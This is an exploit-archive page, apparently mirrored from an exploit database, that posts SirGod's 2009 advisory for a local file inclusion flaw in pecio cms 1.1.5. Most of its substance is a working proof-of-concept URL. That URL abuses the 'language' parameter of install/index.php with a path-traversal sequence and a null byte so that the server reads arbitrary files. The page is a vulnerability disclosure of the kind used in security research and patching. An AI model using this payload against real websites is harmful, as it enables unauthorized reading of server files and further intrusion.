[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : pecio cms 1.1.5 (index.php language) Local File Inclusion Vulnerability
# Published : 2009-05-01
# Author : SirGod
# Previous Title : MiniTwitter 0.2b Remote User Options Changer Exploit
# Next Title : Leap CMS 0.1.4 (searchterm) Blind SQL Injection Exploit 


#######################################################################################################
[+] pecio cms 1.1.5 (index.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
#######################################################################################################

[+] Local File Inclusion

   PoC :

     http://127.0.0.1/[path]/install/index.php?step=2&language=../../../../../../../BOOTSECT.BAK%00

########################################################################################################

# www.Syue.com [2009-05-01]